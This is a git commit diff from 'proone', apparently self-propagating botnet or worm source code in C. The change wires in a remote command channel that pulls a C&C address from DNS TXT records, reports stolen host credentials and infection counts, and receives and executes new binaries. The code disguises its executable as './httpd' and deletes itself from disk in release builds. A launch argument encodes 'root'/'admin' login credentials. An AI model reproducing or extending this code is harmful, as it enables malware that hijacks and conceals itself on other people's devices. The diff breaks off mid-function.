diff options
author | David Timber <mieabby@gmail.com> | 2020-09-08 16:18:13 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-09-08 16:18:13 +0930 |
commit | 550d2eec27a42254b26139208765022fffe7c775 (patch) | |
tree | 3842addbbded988183405d37b9cc9c451ba919d9 | |
parent | 8eed8cde29960ace2ea1b2ceb61962be6f258364 (diff) |
* Remove proone-unpack
* self test is done by proone-pack
* Impl: htbt@proone
* htbt: allocate large buffer first by deault
* htbt: use 0600 for NY_BIN as the image is not an executable
* pack: return error when z_stream is cut short
* proone-pack: impl "nybin" file format
-rw-r--r-- | .vscode/launch.json | 2 | ||||
-rwxr-xr-x | scripts/build-all.sh | 30 | ||||
-rwxr-xr-x | scripts/test_bin-archive.sh | 63 | ||||
-rw-r--r-- | src/Makefile.am | 5 | ||||
-rw-r--r-- | src/data.h | 1 | ||||
-rw-r--r-- | src/data/proto-test/nybin | 32 | ||||
-rw-r--r-- | src/data/proto-test/nybin_head | 8 | ||||
-rw-r--r-- | src/htbt.c | 12 | ||||
-rw-r--r-- | src/htbt.h | 2 | ||||
-rw-r--r-- | src/pack.c | 15 | ||||
-rw-r--r-- | src/proone-htbthost.c | 12 | ||||
-rw-r--r-- | src/proone-mkdvault.c | 1 | ||||
-rw-r--r-- | src/proone-pack.c | 54 | ||||
-rw-r--r-- | src/proone-unpack.c | 148 | ||||
-rw-r--r-- | src/proone.c | 389 | ||||
-rw-r--r-- | src/proone.h | 8 |
16 files changed, 423 insertions, 359 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json index f0ca3fb..d0aa1f9 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -78,7 +78,7 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone", - "args": [ "cXdlcnR5dWlvcFtdYXNkZmdoamtsOyd6eGN2Ym5tLC4vYDEyMzQ1Njc4OTAtPX4hQCMkJV4mKigpXyt8XA==" ], + "args": [ "cm9vdABhZG1pbgA=" ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], diff --git a/scripts/build-all.sh b/scripts/build-all.sh index f3b0a51..146bdfb 100755 --- a/scripts/build-all.sh +++ b/scripts/build-all.sh @@ -55,7 +55,6 @@ PROONE_BINARCH_PREFIX="$PROONE_BINARCH_DIR/binarch" PROONE_DVAULT="$PROONE_PREFIX/dvault.bin" PROONE_TOOLS=" proone-pack - proone-unpack proone-list-arch proone-mkdvault proone-ipaddr-arr @@ -69,7 +68,7 @@ make distclean set -e # native build for tools -./configure $PROONE_AM_CONF +./configure $PROONE_AM_CONF cd src make -j$(nproc) $PROONE_TOOLS cd .. @@ -89,29 +88,4 @@ for (( i = 0; i < ARR_SIZE; i += 1 )); do done # pack -for (( i = 0; i < ARR_SIZE; i += 1 )); do - this_arch="${ARCH_ARR[$i]}" - other_archs="" - rel="$PROONE_REL_PREFIX.$this_arch" - binarch="$PROONE_BINARCH_PREFIX.$this_arch" - - for (( j = 0; j < ARR_SIZE; j += 1 )); do - if [ $i -eq $j ]; then - continue - fi - other_archs="$other_archs $PROONE_EXEC_PREFIX.${ARCH_ARR[$j]}" - done - - "$PROONE_TOOLS_DIR/proone-pack" $other_archs > "$binarch" - binarch_size="$(stat -c "%s" "$binarch")" - - cp -a "$PROONE_EXEC_PREFIX.$this_arch" "$rel" - # TODO: parameterise BIN_ALIGNMENT? - ./src/build-utils.sh align-file 8 "$rel" - ./src/build-utils.sh append-uint16 $DVAULT_SIZE "$rel" - ./src/build-utils.sh append-uint16 0 "$rel" - ./src/build-utils.sh append-uint32 $binarch_size "$rel" - cat "$PROONE_DVAULT" >> "$rel" - ./src/build-utils.sh align-file 8 "$rel" - cat "$binarch" >> "$rel" -done +"$PROONE_TOOLS_DIR/proone-pack" "$PROONE_REL_PREFIX" "$PROONE_DVAULT" "$PROONE_EXEC_PREFIX".* diff --git a/scripts/test_bin-archive.sh b/scripts/test_bin-archive.sh deleted file mode 100755 index bbf56c1..0000000 --- a/scripts/test_bin-archive.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/bin/bash -RND_BLOCK_SIZE=4096 -if [ -z "$RND_BIN_CNT_MIN" ]; then - RND_BIN_CNT_MIN=1 -fi -if [ -z "$RND_BIN_CNT_MAX" ]; then - RND_BIN_CNT_MAX=20 -fi -TEST_DIR="pack_test" -BIN_PACK_DIR="$TEST_DIR/pack" -BIN_UNPACK_DIR="$TEST_DIR/unpack" -BIN_PREFIX="bin" -BIN_ARCHIVE_PREFIX="bin_archive" -SIZE_LOG="pack_test-size.log" -if [ -z "$LISTARCH" ]; then - LISTARCH="../src/proone-list-arch" -fi -if [ -z "$PACKER" ]; then - PACKER="../src/proone-pack" -fi -if [ -z "$UNPACKER" ]; then - UNPACKER="../src/proone-unpack" -fi -ARCH_ARR=(`"$LISTARCH"`) - -if [ -d "$TEST_DIR" ]; then - rm -rf "$TEST_DIR/"* -else - mkdir "$TEST_DIR" -fi -mkdir "$BIN_PACK_DIR" "$BIN_UNPACK_DIR" -if [ $? -ne 0 ]; then - exit 2 -fi - -for arch in ${ARCH_ARR[@]}; do - bin_block_cnt="$(shuf -n1 -i $RND_BIN_CNT_MIN-$RND_BIN_CNT_MAX)" &&\ - dd if=/dev/random of="$BIN_PACK_DIR/$BIN_PREFIX.$arch" iflag=fullblock bs=$RND_BLOCK_SIZE count=$bin_block_cnt - if [ $? -ne 0 ]; then - exit 2 - fi -done - -"$PACKER" "$BIN_PACK_DIR/$BIN_PREFIX."* | base64 > "$TEST_DIR/$BIN_ARCHIVE_PREFIX" -if [ $? -ne 0 ]; then - exit 2; -fi - -"$UNPACKER" "$BIN_UNPACK_DIR/$BIN_PREFIX" < "$TEST_DIR/$BIN_ARCHIVE_PREFIX" -if [ $? -ne 0 ]; then - exit 2; -fi - -for arch in ${ARCH_ARR[@]}; do - diff -q "$BIN_PACK_DIR/$BIN_PREFIX.$arch" "$BIN_UNPACK_DIR/$BIN_PREFIX.$arch" - if [ $? -ne 0 ]; then - exit 2; - fi -done - -echo $(du -bs "$BIN_PACK_DIR" | awk '{print $1;}') $(wc -c "$TEST_DIR/$BIN_ARCHIVE_PREFIX" | awk '{print $1;}') >> "$SIZE_LOG" - -exit 0 diff --git a/src/Makefile.am b/src/Makefile.am index b695333..e138e87 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -17,7 +17,6 @@ bin_PROGRAMS =\ proone.bin\ proone-mkdvault\ proone-pack\ - proone-unpack\ proone-list-arch\ proone-resolv\ proone-stress\ @@ -67,10 +66,6 @@ proone_mkdvault_SOURCES = proone-mkdvault.c proone_pack_LDADD = libproone.a proone_pack_SOURCES = proone-pack.c -proone_unpack_LDADD = libproone.a -proone_unpack_LDFLAGS = -proone_unpack_SOURCES = proone-unpack.c - proone_list_arch_LDADD = libproone.a proone_list_arch_SOURCES = proone-list-arch.c @@ -16,6 +16,7 @@ typedef enum { PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_DATA_KEY_CNC_TXT_REC, + PRNE_DATA_KEY_EXEC_NAME, NB_PRNE_DATA_KEY } prne_data_key_t; diff --git a/src/data/proto-test/nybin b/src/data/proto-test/nybin deleted file mode 100644 index 3008d31..0000000 --- a/src/data/proto-test/nybin +++ /dev/null @@ -1,32 +0,0 @@ -# msg id 8A06, init -8A06 -# PRNE_HTBT_OP_NY_BIN -06 - # bin_len = 121 - 000079 - # detach = 0, args_len = 20 - 0014 - # "It" - 49 74 00 - # "worked, " - 77 6f 72 6b 65 64 2c 20 00 - # "Marty!!" - 4d 61 72 74 79 21 21 00 - # #!/bin/bash - # set -e - # - # echo "hello world!" - # - # i=1 - # while [ $# -gt 0 ]; do - # echo "arg $i: $1" - # let "i+=1" - # shift 1 - # done - # - # exit 0 - 23212f62696e2f626173680a736574202d650a0a6563686f202268656c6c - 6f20776f726c6421220a0a693d310a7768696c65205b202423202d677420 - 30205d3b20646f0a096563686f20226172672024693a202431220a096c65 - 742022692b3d31220a09736869667420310a646f6e650a0a657869742030 - 0a diff --git a/src/data/proto-test/nybin_head b/src/data/proto-test/nybin_head new file mode 100644 index 0000000..79cd1b7 --- /dev/null +++ b/src/data/proto-test/nybin_head @@ -0,0 +1,8 @@ +# msg id 8A06, init +8A06 +# PRNE_HTBT_OP_NY_BIN +06 + # bin_len = + 000000 + # detach = 0, args_len = 0 + 0000 @@ -730,18 +730,15 @@ static void htbt_free_slv_ctx (htbt_slv_ctx_t *ctx) { static bool htbt_alloc_slv_iobuf (htbt_slv_ctx_t *ctx) { bool alloc; -#if 0 // TODO: switch on after testing - const size_t PAGESIZE = prne_getpagesize(); alloc = prne_alloc_iobuf( ctx->iobuf + 0, - PAGESIZE); + 2048); alloc &= prne_alloc_iobuf( ctx->iobuf + 1, - PAGESIZE); + 2048); if (alloc) { return true; } -#endif alloc = prne_alloc_iobuf( ctx->iobuf + 0, @@ -1074,7 +1071,9 @@ static bool htbt_slv_srv_bin ( } errno = 0; - path = ctx->cbset->tmpfile(bin_meta.bin_size, 0700); + path = ctx->cbset->tmpfile( + bin_meta.bin_size, + mh->op == PRNE_HTBT_OP_RUN_BIN ? 0700 : 0600); if (path == NULL) { ret_status = PRNE_HTBT_STATUS_ERRNO; ret_errno = errno; @@ -2447,7 +2446,6 @@ prne_htbt_t *prne_alloc_htbt ( if (w == NULL || param.cb_f.cnc_txtrec == NULL || param.lbd_ssl_conf == NULL || - param.cncp_ssl_conf == NULL || param.main_ssl_conf == NULL || param.ctr_drbg == NULL || param.blackhole < 0) @@ -13,7 +13,6 @@ typedef struct prne_htbt_cbset prne_htbt_cbset_t; typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out); typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out); typedef char*(*prne_htbt_tmpfile_ft)(size_t req_size, const mode_t mode); -typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd); typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd); struct prne_htbt_cbset { @@ -25,7 +24,6 @@ struct prne_htbt_cbset { struct prne_htbt_param { mbedtls_ssl_config *lbd_ssl_conf; - mbedtls_ssl_config *cncp_ssl_conf; mbedtls_ssl_config *main_ssl_conf; mbedtls_ctr_drbg_context *ctr_drbg; prne_resolv_t *resolv; @@ -205,6 +205,14 @@ static ssize_t pack_rcb_rpread_f ( } ctx->z_ny.next_in = ctx->buf; ctx->z_ny.avail_in = consume; + + if (consume == 0 && d_flush != Z_FINISH) { + // short compressed data + // this means that bin arch is incomplete + consume = -1; + prc = PRNE_PACK_RC_FMT_ERR; + goto END; + } } ctx->z_ny.avail_out = len; @@ -213,7 +221,6 @@ static ssize_t pack_rcb_rpread_f ( switch (err) { case Z_STREAM_END: ctx_p->read_f = pack_rcb_nullread_f; - prc = PRNE_PACK_RC_EOF; /* fall-through */ case Z_BUF_ERROR: case Z_OK: @@ -472,8 +479,10 @@ prne_pack_rc_t prne_start_bin_rcb ( ny_ctx->z_old.avail_in = ba->data_size; ny_ctx->z_old.next_in = (uint8_t*)ba->data; - ny_ctx->z_ny.avail_in = exec_len; - ny_ctx->z_ny.next_in = (uint8_t*)m_self; + if (self != PRNE_ARCH_NONE) { + ny_ctx->z_ny.avail_in = exec_len; + ny_ctx->z_ny.next_in = (uint8_t*)m_self; + } ny_ctx->a_self = self; prne_free_bin_rcb_ctx(ctx); diff --git a/src/proone-htbthost.c b/src/proone-htbthost.c index dbc53d6..a407253 100644 --- a/src/proone-htbthost.c +++ b/src/proone-htbthost.c @@ -340,9 +340,6 @@ int main (const int argc, const char **args) { mbedtls_pk_context key; mbedtls_ssl_config conf; } c; - struct { - mbedtls_ssl_config conf; - } cncp; } ssl; sigemptyset(&ss_all); @@ -420,7 +417,6 @@ int main (const int argc, const char **args) { mbedtls_dhm_init(&ssl.s.dhm); mbedtls_ssl_config_init(&ssl.s.conf); mbedtls_ssl_config_init(&ssl.c.conf); - mbedtls_ssl_config_init(&ssl.cncp.conf); load_ssl_conf( &ssl.ca, &ssl.s.conf, @@ -431,12 +427,6 @@ int main (const int argc, const char **args) { &ssl.c.crt, &ssl.c.key, &rnd); - prne_assert(mbedtls_ssl_config_defaults( - &ssl.cncp.conf, - MBEDTLS_SSL_IS_CLIENT, - MBEDTLS_SSL_TRANSPORT_STREAM, - MBEDTLS_SSL_PRESET_DEFAULT) == 0); - mbedtls_ssl_conf_rng(&ssl.cncp.conf, mbedtls_ctr_drbg_random, &rnd); mbedtls_ssl_conf_dbg(&ssl.s.conf, mbedtls_dbg_f, NULL); mbedtls_ssl_conf_dbg(&ssl.c.conf, mbedtls_dbg_f, NULL); @@ -469,7 +459,6 @@ int main (const int argc, const char **args) { prne_htbt_init_param(¶m); param.lbd_ssl_conf = &ssl.s.conf; param.main_ssl_conf = &ssl.c.conf; - param.cncp_ssl_conf = &ssl.cncp.conf; param.ctr_drbg = &rnd; param.resolv = resolv; param.cb_f.cnc_txtrec = cb_txtrec; @@ -514,7 +503,6 @@ int main (const int argc, const char **args) { mbedtls_dhm_free(&ssl.s.dhm); mbedtls_ssl_config_free(&ssl.s.conf); mbedtls_ssl_config_free(&ssl.c.conf); - mbedtls_ssl_config_free(&ssl.cncp.conf); mbedtls_ctr_drbg_free(&rnd); mbedtls_entropy_free(&entropy); free_htbthost_param(&htbthost_param); diff --git a/src/proone-mkdvault.c b/src/proone-mkdvault.c index 6d423a9..e08adc8 100644 --- a/src/proone-mkdvault.c +++ b/src/proone-mkdvault.c @@ -150,6 +150,7 @@ int main (void) { add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV4, PRNE_RESOLV_NS_POOL_IPV4); add_bin(PRNE_DATA_KEY_RESOLV_NS_IPV6, PRNE_RESOLV_NS_POOL_IPV6); add_cstr(PRNE_DATA_KEY_CNC_TXT_REC, PRNE_CNC_TXT_REC); + add_cstr(PRNE_DATA_KEY_EXEC_NAME, "./httpd"); pos += NB_PRNE_DATA_KEY * sizeof(uint16_t); diff --git a/src/proone-pack.c b/src/proone-pack.c index 555dbf4..8971411 100644 --- a/src/proone-pack.c +++ b/src/proone-pack.c @@ -123,14 +123,14 @@ static void do_test ( size_t out_size = 0, out_len; uint8_t *m_out = NULL; - if (depth > TEST_DEPTH) { - return; - } - prne_assert(ofs_ba < len); prne_assert(memcmp(m, t->m_exec, t->st.st_size) == 0); prne_assert(memcmp(m + ofs_dv, m_dv, dv_len) == 0); + if (depth > TEST_DEPTH) { + return; + } + prne_init_bin_archive(&ba); prne_init_bin_rcb_ctx(&ctx); prne_assert(prne_index_bin_archive( @@ -170,6 +170,46 @@ static void do_test ( prne_free(m_out); } +static bool do_nybin (const char *path, int *fd) { + uint8_t head[8]; + const size_t align = + sizeof(head) + + prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT); + + prne_memzero(head, sizeof(head)); + head[0] = prne_getmsb16(dv_len, 0); + head[1] = prne_getmsb16(dv_len, 1); + head[2] = 'n'; + head[3] = 'y'; + head[4] = 'b'; + head[5] = 'i'; + head[6] = 'n'; + head[7] = 0; + + *fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0755); + if (*fd < 0) { + return false; + } + + if (ftruncate(*fd, align) != 0) { + return false; + } + if (write(*fd, head, sizeof(head)) != (ssize_t)sizeof(head)) { + return false; + } + if (write(*fd, m_dv, dv_len) != (ssize_t)dv_len) { + return false; + } + if (lseek(*fd, align, SEEK_SET) < 0) { + return false; + } + if (write(*fd, m_ba, ba_len) != (ssize_t)ba_len) { + return false; + } + + return true; +} + static bool do_rcb (const char *prefix) { prne_pack_rc_t prc; bool ret = true; @@ -193,9 +233,7 @@ static bool do_rcb (const char *prefix) { prc = prne_index_bin_archive(m_ba, ba_len, &ba); prne_assert(prc == PRNE_PACK_RC_OK); - // TODO: dvault + nybin - fd = open(out_path, O_WRONLY | O_CREAT | O_TRUNC, 0755); - if (fd < 0 || write(fd, m_ba, ba_len) != (ssize_t)ba_len) { + if (!do_nybin(out_path, &fd)) { perror(out_path); ret = false; goto END; @@ -262,7 +300,7 @@ int main (const int argc, const char **args) { z_stream zs; size_t out_len; - PAGESIZE = prne_getpagesize(); // TODO: test + PAGESIZE = prne_getpagesize(); prne_memzero(&zs, sizeof(z_stream)); if ((z_ret = deflateInit(&zs, PRNE_PACK_Z_LEVEL)) != Z_OK) { diff --git a/src/proone-unpack.c b/src/proone-unpack.c deleted file mode 100644 index d7787a8..0000000 --- a/src/proone-unpack.c +++ /dev/null @@ -1,148 +0,0 @@ -#include <stdio.h> -#include <stdint.h> -#include <stdbool.h> -#include <string.h> - -#include <unistd.h> -#include <fcntl.h> -#include <sys/mman.h> - -#include "pack.h" -#include "util_rt.h" - -#define USE_MMAP 1 - - -static void report_pack_ret (const prne_pack_ret_t pr) { - char *str = prne_pack_ret_tostr(pr); - - fprintf(stderr, "%s\n", str); - prne_free(str); -} - - -int main (const int argc, const char **args) { - int exit_code = 0; - const char *path_prefix; - size_t path_prefix_len; - prne_stdin_base64_rf_ctx_t rf_ctx; - prne_bin_archive_t bin_archive; - prne_pack_ret_t pr; - size_t i; - const char *arch_str; - char *path = NULL; - size_t path_size; - void *ny_buf; - int fd = -1; - prne_unpack_ctx_pt unpack_ctx = NULL; -#if USE_MMAP - void *addr = NULL; -#else - uint8_t write_buf[512]; - ssize_t write_len; -#endif - - if (argc <= 1) { - fprintf(stderr, "Usage: %s <prefix>\n", args[0]); - return 2; - } - - path_prefix = args[1]; - path_prefix_len = strlen(path_prefix); - prne_init_bin_archive(&bin_archive); - prne_init_stdin_base64_rf_ctx(&rf_ctx); - - pr = prne_index_bin_archive(&rf_ctx, prne_stdin_base64_rf, &bin_archive); - if (pr.rc != PRNE_PACK_RC_OK) { - report_pack_ret(pr); - exit_code = 1; - goto END; - } - - for (i = 0; i < bin_archive.nb_bin; i += 1) { - arch_str = prne_arch_tostr(bin_archive.bin[i].arch); - if (arch_str == NULL) { - fprintf(stderr, "** unrecognised arch!"); - exit_code = 1; - goto END; - } - - unpack_ctx = prne_alloc_unpack_ctx(&bin_archive, bin_archive.bin[i].arch, &pr); - if (unpack_ctx == NULL) { - report_pack_ret(pr); - exit_code = 1; - goto END; - } - - path_size = 2 + path_prefix_len + strlen(arch_str); - ny_buf = prne_realloc(path, 1, path_size); - if (ny_buf == NULL) { - perror("prne_realloc()"); - exit_code = 1; - goto END; - } - path = (char*)ny_buf; - if (sprintf(path, "%s.%s", path_prefix, arch_str) < 0) { - perror("sprintf()"); - exit_code = 1; - goto END; - } - - fd = open(path, O_CREAT | O_RDWR | O_TRUNC, 0666); - if (fd < 0) { - perror("open()"); - exit_code = 1; - goto END; - } -#if USE_MMAP - if (ftruncate(fd, bin_archive.bin[i].size) != 0) { - perror("ftruncate()"); - exit_code = 1; - goto END; - } - addr = mmap(NULL, bin_archive.bin[i].size, PROT_WRITE, MAP_SHARED, fd, 0); - if (addr == MAP_FAILED) { - perror("mmap()"); - exit_code = 1; - goto END; - } - - if (prne_do_unpack(unpack_ctx, (uint8_t*)addr, bin_archive.bin[i].size, &pr) != (ssize_t)bin_archive.bin[i].size) { - report_pack_ret(pr); - exit_code = 1; - goto END; - } - - munmap(addr, bin_archive.bin[i].size); - addr = NULL; -#else - do { - write_len = prne_do_unpack(unpack_ctx, write_buf, sizeof(write_buf), &pr); - if (write_len < 0) { - report_pack_ret(pr); - exit_code = 1; - goto END; - } - write(fd, write_buf, (size_t)write_len); - } while (write_len != 0); -#endif - prne_free_unpack_ctx(unpack_ctx); - unpack_ctx = NULL; - prne_close(fd); - fd = -1; - } - -END: -#if USE_MMAP - if (addr != NULL) { - munmap(addr, bin_archive.bin[i].size); - } -#endif - prne_free_unpack_ctx(unpack_ctx); - prne_free(path); - prne_close(fd); - prne_free_bin_archive(&bin_archive); - prne_free_stdin_base64_rf_ctx(&rf_ctx); - - return exit_code; -} diff --git a/src/proone.c b/src/proone.c index c39a60b..5e40796 100644 --- a/src/proone.c +++ b/src/proone.c @@ -23,6 +23,7 @@ #include "proone.h" #include "protocol.h" #include "util_rt.h" +#include "endian.h" #include "dvault.h" #include "llist.h" #include "mbedtls.h" @@ -33,10 +34,9 @@ struct prne_shared_global *prne_s_g = NULL; sigset_t ss_exit, ss_all; -static prne_worker_t wkr_arr[2]; +static prne_worker_t wkr_arr[3]; static size_t wkr_cnt; - static void alloc_resolv (void) { prne_resolv_ns_pool_t pool4, pool6; size_t i, len, cnt; @@ -87,8 +87,137 @@ END: prne_resolv_free_ns_pool(&pool6); } +static bool cb_htbt_cnc_txtrec (char *out) { + strcpy(out, prne_dvault_get_cstr(PRNE_DATA_KEY_CNC_TXT_REC, NULL)); + prne_dvault_reset(); + return true; +} + +static bool cb_htbt_hostinfo (prne_htbt_host_info_t *out) { + const struct timespec ts_now = prne_gettime(CLOCK_MONOTONIC); + + out->parent_uptime = prne_sub_timespec(ts_now, prne_g.parent_start).tv_sec; + out->child_uptime = prne_sub_timespec(ts_now, prne_g.child_start).tv_sec; + if (prne_s_g != NULL) { + out->bne_cnt = prne_s_g->bne_cnt; + out->infect_cnt = prne_s_g->infect_cnt; + if (prne_htbt_alloc_host_info(out, prne_s_g->host_cred_len)) { + memcpy( + out->host_cred, + prne_s_g->host_cred_data, + prne_s_g->host_cred_len); + } + out->crash_cnt = prne_s_g->crash_cnt; + } + out->parent_pid = prne_g.parent_pid; + out->child_pid = prne_g.child_pid; + memcpy( + out->prog_ver, + prne_dvault_get_bin(PRNE_DATA_KEY_PROG_VER, NULL), + prne_op_min(sizeof(out->prog_ver), 16)); + prne_dvault_reset(); + memcpy( + out->boot_id, + prne_g.boot_id, + prne_op_min(sizeof(out->boot_id), sizeof(prne_g.boot_id))); + memcpy( + out->instance_id, + prne_g.instance_id, + prne_op_min(sizeof(out->instance_id), sizeof(prne_g.instance_id))); + out->arch = prne_host_arch; + + return true; +} + +static char *cb_htbt_tmpfile (size_t req_size, const mode_t mode) { + uint8_t m[16]; + char *path = prne_alloc_str(36 + 3), *ret = NULL; + int fd = -1; + + path[0] = 0; + do { + if (path == NULL) { + break; + } + if (mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, m, sizeof(m)) != 0) { + break; + } + path[0] = '.'; + path[1] = '/'; + path[2] = '.'; + prne_uuid_tostr(m, path + 3); + path[39] = 0; + + fd = open(path, O_RDWR | O_CREAT | O_TRUNC, mode); + if (fd < 0) { + break; + } + chmod(path, mode); + if (ftruncate(fd, req_size) != 0) { + break; + } + + ret = path; + path = NULL; + } while (false); + + if (path != NULL) { + if (fd >= 0) { + unlink(path); + } + prne_free(path); + } + prne_close(fd); + return ret; +} + +static bool cb_htbt_nybin (const char *path, const prne_htbt_cmd_t *cmd) { + const size_t strsize = prne_nstrlen(path) + 1; + + if (prne_s_g == NULL || + strsize > sizeof(prne_s_g->ny_bin_path) || + cmd->mem_len > sizeof(prne_s_g->ny_bin_args)) + { + errno = ENOMEM; + return false; + } + memcpy(prne_s_g->ny_bin_path, path, strsize); + memcpy(prne_s_g->ny_bin_args, cmd->mem, cmd->mem_len); + + pth_raise(prne_g.main_pth, SIGTERM); + + return true; +} + + static void alloc_htbt (void) { - // TODO + prne_htbt_param_t param; + + prne_htbt_init_param(¶m); + + if (!(prne_g.c_ssl.ready && prne_g.s_ssl.ready)) { + goto END; + } + + param.lbd_ssl_conf = &prne_g.s_ssl.conf; + param.main_ssl_conf = &prne_g.c_ssl.conf; + param.ctr_drbg = &prne_g.ssl.rnd; + param.resolv = prne_g.resolv; + param.cb_f.cnc_txtrec = cb_htbt_cnc_txtrec; + param.cb_f.hostinfo = cb_htbt_hostinfo; + param.cb_f.tmpfile = cb_htbt_tmpfile; + param.cb_f.ny_bin = cb_htbt_nybin; + param.blackhole = prne_g.blackhole[1]; + + prne_g.htbt = prne_alloc_htbt( + wkr_arr + wkr_cnt, + param); + if (prne_g.htbt != NULL) { + wkr_cnt += 1; + } + +END: + prne_htbt_free_param(¶m); } static void alloc_workers (void) { @@ -104,6 +233,7 @@ static void free_workers (void) { prne_free_worker(wkr_arr + i); } prne_g.resolv = NULL; + prne_g.htbt = NULL; } static void seed_ssl_rnd (const bool use_bent) { @@ -152,15 +282,12 @@ static int proone_main (void) { prne_assert(wkr_arr[i].pth != NULL); } - do { + while (true) { prne_assert(pth_sigwait(&ss_all, &caught_sig) == 0); - switch (caught_sig) { - case SIGCHLD: // Not my child - case SIGINT: // Probably Ctrl + C. Wait for the parent to send SIGTERM. - case SIGPIPE: - continue; + if (sigismember(&ss_exit, caught_sig) && caught_sig != SIGINT) { + break; } - } while (false); + } sigprocmask(SIG_UNBLOCK, &ss_exit, NULL); for (size_t i = 0; i < wkr_cnt; i += 1) { @@ -178,8 +305,35 @@ static int proone_main (void) { return 0; } +static void close_blackhole (void) { + prne_close(prne_g.blackhole[0]); + prne_close(prne_g.blackhole[1]); + prne_g.blackhole[0] = -1; + prne_g.blackhole[1] = -1; +} + +static void open_blackhole (void) { + close_blackhole(); + + do { + // try null device + prne_g.blackhole[1] = open("/dev/null", O_WRONLY); + if (prne_g.blackhole[1] >= 0) { + fcntl(prne_g.blackhole[1], F_SETFD, FD_CLOEXEC); + break; + } + + // try pipe + if (pipe(prne_g.blackhole) == 0) { + prne_sck_fcntl(prne_g.blackhole[0]); + prne_sck_fcntl(prne_g.blackhole[1]); + break; + } + } while (false); +} + static void delete_myself (const char *arg0) { -#if defined(PRNE_DEBUG) +#if !defined(PRNE_DEBUG) unlink(arg0); #endif } @@ -274,7 +428,7 @@ static void init_proone (const char *self) { (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 0] << 8 | (uint_fast16_t)prne_g.m_exec[prne_g.exec_size + 1] << 0; - dvault_ofs = prne_salign_next(prne_g.exec_size, PRNE_BIN_ALIGNMENT) + 8; + dvault_ofs = prne_g.exec_size + 8; binarch_ofs = dvault_ofs + prne_salign_next( prne_g.dvault_size, PRNE_BIN_ALIGNMENT); @@ -286,12 +440,12 @@ static void init_proone (const char *self) { setup_dvault(); if (binarch_size > 0) { - prne_g.bin_ready = prne_index_bin_archive( + prne_index_bin_archive( prne_g.m_exec + binarch_ofs, binarch_size, - &prne_g.bin_archive) == PRNE_PACK_RC_OK; + &prne_g.bin_archive); } - if (!prne_g.bin_ready) { + if (prne_g.bin_archive.nb_bin == 0) { prne_dbgpf("* This executable has no binary archive!\n"); } #undef ELF_EHDR_TYPE @@ -618,6 +772,7 @@ static bool init_shared_global (void) { prne_dbgperr("* Failed to initialise shared global"); } else { + // Session init code goes here prne_s_g->ny_bin_path[0] = 0; } @@ -641,15 +796,11 @@ static void init_ids (void) { char line[37]; int fd = -1; - if (mbedtls_ctr_drbg_random( + mbedtls_ctr_drbg_random( &prne_g.ssl.rnd, prne_g.instance_id, - sizeof(prne_g.instance_id)) != 0) - { - prne_memzero(prne_g.instance_id, sizeof(prne_g.instance_id)); - } + sizeof(prne_g.instance_id)); - prne_memzero(prne_g.boot_id, 16); do { // fake loop fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY); if (fd < 0) { @@ -673,7 +824,6 @@ static void set_host_credential (const char *str) { return; } - // TODO: test mbedtls_base64_decode( prne_s_g->host_cred_data, sizeof(prne_s_g->host_cred_data), @@ -682,7 +832,94 @@ static void set_host_credential (const char *str) { strlen(str)); } -static void run_ny_bin (void) { +static char *do_recombination (const uint8_t *m_nybin, const size_t nybin_len) { + uint8_t buf[4096]; + char *exec = NULL, *ret = NULL; + const char *path; + prne_bin_archive_t ba; + prne_bin_rcb_ctx_t rcb; + const uint8_t *m_dv, *m_ba; + size_t dv_len, ba_len; + prne_pack_rc_t prc; + int fd = -1; + ssize_t f_ret; + size_t path_len; + + prne_init_bin_archive(&ba); + prne_init_bin_rcb_ctx(&rcb); + + if (nybin_len < 8) { + goto END; + } + dv_len = prne_recmb_msb16(m_nybin[0], m_nybin[1]); + if (8 + dv_len > nybin_len) { + goto END; + } + m_dv = m_nybin + 8; + m_ba = m_nybin + 8 + prne_salign_next(dv_len, PRNE_BIN_ALIGNMENT); + ba_len = nybin_len - (m_ba - m_nybin); + + prc = prne_index_bin_archive(m_ba, ba_len, &ba); + if (prc != PRNE_PACK_RC_OK) { + goto END; + } + prc = prne_start_bin_rcb( + &rcb, + prne_host_arch, + PRNE_ARCH_NONE, + NULL, + 0, + 0, + m_dv, + dv_len, + &ba); + if (prc != PRNE_PACK_RC_OK) { + goto END; + } + + path = prne_dvault_get_cstr(PRNE_DATA_KEY_EXEC_NAME, &path_len); + exec = prne_alloc_str(path_len); + if (exec == NULL) { + goto END; + } + strcpy(exec, path); + prne_dvault_reset(); + fd = open( + exec, + O_WRONLY | O_CREAT | O_TRUNC, + 0700); + if (fd < 0) { + goto END; + } + chmod(exec, 0700); + + do { + f_ret = prne_bin_rcb_read(&rcb, buf, sizeof(buf), &prc, NULL); + if (f_ret < 0) { + goto END; + } + if (f_ret > 0 && write(fd, buf, f_ret) != f_ret) { + goto END; + } + } while (prc != PRNE_PACK_RC_EOF); + + ret = exec; + exec = NULL; + +END: + prne_dvault_reset(); + if (exec != NULL && fd > 0) { + unlink(exec); + } + prne_free(exec); + prne_free_bin_archive(&ba); + prne_free_bin_rcb_ctx(&rcb); + prne_close(fd); + + return ret; +} + +static void do_exec (const char *exec, char **args) { sigset_t old_ss; bool has_ss; @@ -691,7 +928,8 @@ static void run_ny_bin (void) { deinit_shared_global(); has_ss = sigprocmask(SIG_UNBLOCK, &ss_all, &old_ss) == 0; - // TODO + execv(exec, args); + prne_dbgperr("** exec()"); // exec() failed // Restore previous condifion @@ -701,11 +939,82 @@ static void run_ny_bin (void) { init_shared_global(); } +static void run_ny_bin (void) { + const 